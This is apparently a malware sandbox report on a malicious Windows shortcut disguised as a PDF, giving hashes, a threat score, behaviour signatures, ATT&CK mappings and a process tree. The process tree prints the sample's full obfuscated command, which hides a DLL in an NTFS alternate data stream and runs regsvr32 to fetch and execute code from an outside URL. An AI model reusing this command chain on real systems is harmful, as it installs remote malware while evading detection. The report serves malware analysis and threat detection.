d328933d97c084026ac13c6efea830feb5bfdc8ece251893a7e23b63d0c89d95

Analysis

max time kernel
149s
max time network
124s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
09/04/2026, 05:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
254186535_PDF.lNk.lnk
Size 1KB
Sample260409-gpcsaaax2r
SHA256 d328933d97c084026ac13c6efea830feb5bfdc8ece251893a7e23b63d0c89d95
MD5 50d10fe0939af84d62428c2365354e1a
SHA1 2de8c431883898fd4c1aa72ca4be8da20cea11ee
SHA512 92dc4ce099f918560447ccce913c37b046f1bf6c21af96af6b4613646027301dc5243d1ae523aa5224c0aa6caa4c100d4ab2994568e1f836289b555274b218ef
TLSH
T1D921D81C0915F4F1DDD2E9BAED077A500324490F865ABCC9840522217CF00229DE7C5F
MD5 SHA1 SHA512 TLSH

Score

7^/10

Malware Config

Signatures

Loads dropped DLL 1 IoCs

pid	Process
3132	regsvr32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NTFS ADS 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Temp\pqN4.jpg:wHY4	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3680 wrote to memory of 4384	3680	cmd.exe	80
PID 4384 wrote to memory of 3132	4384	cmd.exe	81

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\254186535_PDF.lNk.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:3680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /IILJH:FYV1Y /IWXJ:WUBC /D/C "type scroBJ.dll > C:\Users\Admin\AppData\Local\Temp\pqN4.jpg:wHY4 && for %J in (vr3) do for %M in (reg) do start %MS%J2 /s /u /i:htTpS://proronsar.webtreinerbr.autos/?1/_x C:\Users\Admin\AppData\Local\Temp\pqN4.jpg:wHY4"
  2⤵
  - NTFS ADS
  - Suspicious use of WriteProcessMemory
  PID:4384
- - C:\Windows\SyStem32\regsvr32.exe
    regSvr32 /s /u /i:htTpS://proronsar.webtreinerbr.autos/?1/_x C:\Users\Admin\AppData\Local\Temp\pqN4.jpg:wHY4
    3⤵
    - Loads dropped DLL
    PID:3132

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

pqN4.jpg:wHY4

Path C:\Users\Admin\AppData\Local\Temp\pqN4.jpg:wHY4
Size 228KB
SHA256 4e093aec31e60dfba66c6b6530b848ffd7d081bf281ae64d5aeaf7d66f0521e9
MD5 96285c33acb657d52529411f79173936
SHA1 85fa9c55328391191263f9ea609bc1734158dc5e
SHA512 591fa3f8a88042854eb913f83375268320a5ab5cc6075413400c6b7917a69a7ecf4359b56204e5d389caebb80035727ff90f7d7eebc8262c32d0a06527ef49ae
SSDEEP 6144:FVlSED/djwfA6tBrFB1u9VH6xwM+h5lnIcBkwGbv5HJ7bhYtO343LuXm2J1qHWMc:FVlSED/djwfA6tBxB1uXH6xwMk51IcBe
TLSH
T15F344A5DE2E85424E57B4139CA934616E7B37C26332192CF02A0C7BD6F2BBD57A38B44
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3132-14-0x0000000003390000-0x000000000339C000-memory.dmp

Download

memory/3680-3-0x00000234E5110000-0x00000234E511C000-memory.dmp